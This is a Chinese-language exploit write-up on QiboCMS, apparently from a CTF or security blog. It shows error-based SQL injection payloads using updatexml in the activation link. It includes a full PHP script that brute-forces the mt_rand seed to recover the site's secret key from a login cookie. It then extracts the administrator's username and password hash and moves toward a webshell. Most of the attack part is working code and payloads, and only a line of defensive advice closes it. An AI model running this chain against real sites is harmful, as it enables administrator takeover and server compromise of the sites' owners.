首先在do/.activate.php文件中找到发送激活序列的代码:
提取重要信息:
do/activate.php?job=activate&md5_id=$md5_id
由激活的链接可以在此文件找到账号激活触发的流程:
echo mymd5("aaa' and (updatexml(1,concat(0x7e,(substring((select flag from flag),1,32)),0x7e),1))#'\taaaa");
证明,激活验证处可以进行注入,那么,接下来我们看一看远程的qibocms的激活验证如何进行可注入。
上文我们已经得到了可以利用激活验证进行sql注入,那么,接下来我们分析如何利用:
$md5_id=str_replace('+','%2B',mymd5("{$rs[username]}\t{$rs[password]}"));
可见,函数中存在一个加密密钥
$secret_string = $webdb[mymd5].$rand.'5*j,.^&;?.%#@!';
由两个变量和一个固定字符串组成,在激活序列加密过程中$rand为空,那么我们只需要知道$webdb[mymd5]就可以构造出密钥,也就可以在本地构造激活序列。
继续进入rands()函数 (inc/function.inc.php)
由此,可知$webdb[mymd5]是一个以(double)microtime() * 1000000
为随机种子的十位随机字符串
由此可得利用方法一:
- 利用随机种子是0-999999,进行爆破,一共一百万次,如果站长不修改默认的密钥的话,总能爆出来,不过不提倡,咱们是文明人
在synlogin()函数中将用户密码加密在cookie中显示,并且这个cookie在用户登录之后就会被设置,
由此,我们可以注册一个用户并登陆,然后根据我们设置的密码和passport的cookie,在本地进行密钥爆破
验证:
2.提取cookie:
4%09admin123%09VlUJBwQHVQcOVVVRDwNWAlMCCFMAAwZYXFUEAVYGA1U%3D1f1f2c0a1c
根据set_cookie("passport","$rs[uid]\t$username\t".mymd5($rs[password],'EN'),$cookietime);
url解码后提取出密码admin123加密之后的数据VlUJBwQHVQcOVVVRDwNWAlMCCFMAAwZYXFUEAVYGA1U=1f1f2c0a1c
$md5_id="VlUJBwQHVQcOVVVRDwNWAlMCCFMAAwZYXFUEAVYGA1U=1f1f2c0a1c";
$passwd="admin123";
get_webdb_mymd5();
function get_webdb_mymd5(){
global $passwd;
global $md5_id;
global $webdb_mymd5;
for($seed = 999999;$seed>=0;$seed--){
print "[-] 正在测试种子:$seed\n";
$webdb_mymd5=rands($seed);
$payload = mymd5(md5($passwd));
if($payload==$md5_id){
print $payload.rands($seed);;
print " [-] 密钥:$webdb_mymd5 \n";
// file_put_contents("data.log","$url-----@@$webdb_mymd5@@\n",FILE_APPEND);
return $webdb_mymd5;
}
}
die("no \n");
}
function mymd5($string,$action="EN",$rand=''){ //字符串加密和解密
global $webdb_mymd5;
if($action=="DE"){//处理+号在URL传递过程中会异常
$string = str_replace('QIBO|ADD','+',$string);
}
$secret_string = $webdb_mymd5.$rand."5*j,.^&;?.%#@!"; //绝密字符串,可以任意设定
if(!is_string($string)){
$string=strval($string);
}
if($string==="") return "";
if($action=="EN") $md5code=substr(md5($string),8,10);
else{
$md5code=substr($string,-10);
$string=substr($string,0,strlen($string)-10);
}
//$key = md5($md5code.$_SERVER["HTTP_USER_AGENT"].$secret_string);
$key = md5($md5code.$secret_string);
$string = ($action=="EN"?$string:base64_decode($string));
$len = strlen($key);
$code = "";
for($i=0; $i<strlen($string); $i++){
$k = $i%$len;
$code .= $string[$i]^$key[$k];
}
$code = ($action == "DE" ? (substr(md5($code),8,10)==$md5code?$code:NULL) : base64_encode($code)."$md5code");
if($action=="EN"){//处理+号在URL传递过程中会异常
$code = str_replace('+','QIBO|ADD',$code);
}
return $code;
}
function rands($seed,$length=10) {
$hash = '';
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
$max = strlen($chars) - 1;
mt_srand($seed);
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
$hash=strtolower($hash);
return $hash;
}
得到密钥,将密钥写进mymd5()函数中,开始你的注入吧!!!
等等,这就结束了?有句话说的好,不想拿shell的厨子不是好司机
本地分析cms的数据库,发现在qb_memberdata表中设定了用户的权限:
权限的设置为
所以思路来了:
实现:
and (updatexml(1,concat(0x7e,(substring((select username from qb_memberdata where groupid=3),1,32)),0x7e),1))
得到用户名:admin666
and (updatexml(1,concat(0x7e,(substring((select password from qb_members where username='admin666'),1,32)),0x7e),1))#
得到密码MD5后值8a30ec6807f71bc69d096d8e4d501ad,在cmd5解密之后得到:admin666
可以看到/data/guide_fid.php文件
getshell!!!
刚开始接触到这个漏洞时,也没想到有什么好的利用方式,不过随着逐步的深入研究,发现还是有很多的利用方式的,本想直接把注册的用户修改成超级管理员权限,不过测试了半天没成功,只能退而求其次解密超级管理员的密码了,不过现在个各大MD5网站,不加盐的MD5除非特别复杂的密码没办法解出来,一般的都能解出来。
也提醒了我们在设计时,在sql语句在带入数据库查询前一定要进行白名单过滤;在对密码加密时一定要考虑被破解的概率。